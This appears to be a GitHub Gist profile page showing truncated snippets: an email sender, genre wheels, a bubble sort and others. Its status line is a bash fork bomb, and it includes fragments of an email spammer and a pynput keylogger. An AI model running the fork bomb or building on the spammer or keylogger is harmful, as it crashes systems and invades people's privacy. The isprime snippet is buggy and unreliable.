Skip to content

Instantly share code, notes, and snippets.

View KazMalhotra's full-sized avatar
🐧
:(){ :|:& };:

Kazuhiro Malhotra KazMalhotra

🐧
:(){ :|:& };:
View GitHub Profile
# https://realpython.com/python-send-email/
import smtplib, ssl
port = 465 # For SSL
smtp_server = "smtp.gmail.com"
sender_email = input("What's your email adress? ") # Enter your address
receiver_email = input("Who would you like to send this email to? ") # Enter receiver address
password = input("What's your email password? ")
message = """\
Subject: Subject goes here
@KazMalhotra
KazMalhotra / emailSpammer.js
Last active June 17, 2020 21:44
A simple email spammer in node.js. Note: this is for educational purposes only. I do not condone spamming people.
var nodemailer = require('nodemailer');
var prompt = require('prompt-sync')();
function send(reciver, subject, body){
var transporter = nodemailer.createTransport({
service: 'gmail',
auth: {
user: 'email@domain.tld',
pass: 'password'
⣿⣿⣿⣿⣿⠟⠉⠁⠄⠄⠄⠈⠙⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⠏⠄⠄⠄⠄⠄⠄⠄⠄⠄⠸⢿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣏⠄⡠⡤⡤⡤⡤⡤⡤⡠⡤⡤⣸⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣗⢝⢮⢯⡺⣕⢡⡑⡕⡍⣘⢮⢿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⡧⣝⢮⡪⡪⡪⡎⡎⡮⡲⣱⣻⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⠟⠁⢸⡳⡽⣝⢝⢌⢣⢃⡯⣗⢿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⠟⠁⠄⠄⠄⠹⡽⣺⢽⢽⢵⣻⢮⢯⠟⠿⠿⢿⣿⣿⣿⣿⣿
⡟⢀⠄⠄⠄⠄⠄⠙⠽⠽⡽⣽⣺⢽⠝⠄⠄⢰⢸⢝⠽⣙⢝⢿
⡄⢸⢹⢸⢱⢘⠄⠄⠄⠄⠄⠈⠄⠄⠄⣀⠄⠄⣵⣧⣫⣶⣜⣾
⣧⣬⣺⠸⡒⠬⡨⠄⠄⠄⠄⠄⠄⠄⣰⣿⣿⣿⣿⣿⣷⣽⣿⣿
import pynput
from pynput.keyboard import Key, Listener
keys = []
def onpress(key):
keys.append(key)
writefile(keys)
@KazMalhotra
KazMalhotra / wheel.html
Last active May 29, 2020 03:23
Nicer genre wheel
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<script data-ad-client="ca-pub-9423541216923947" async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Spin the genre wheel on kazmal.tech">
<!-- Bootstrap CSS: -->
@KazMalhotra
KazMalhotra / genreWheel.html
Created May 27, 2020 17:25
Very basic genre wheel for english
<!DOCTYPE html>
<html>
<body>
<p>Spin the genre wheel</p>
<p id='out'></p>
<button onclick="spin()">Spin</button>
<script>
I HAS A VAR ITZ 0
IM IN YR LP UPPIN YR VAR TIL BOTH SAEM VAR AN 10
VISIBLE SUM OF VAR AN 1
IM OUTTA YR LP
#Buble sort
list = [5, 6, 0, 1, 2, 4, 3, 9, 8, 7]
for j in range (0, 10):
check_for_swap = False
for i in range(0, 9):
if list[i] > list[i+1]:
swap = list[i]
list[i] = list[i+1]
def isprime(x):
if x <= 1:
return False
if x <= 3:
return True
i = 7
while i ** 2:
if x % 2 == 0 or x % 3 == 0 or x % 5 == 0:
return False
if x % i == 0:
<meta http-equiv = "refresh" content = "0; url = where/i/am/going/to/redirec/to.html" />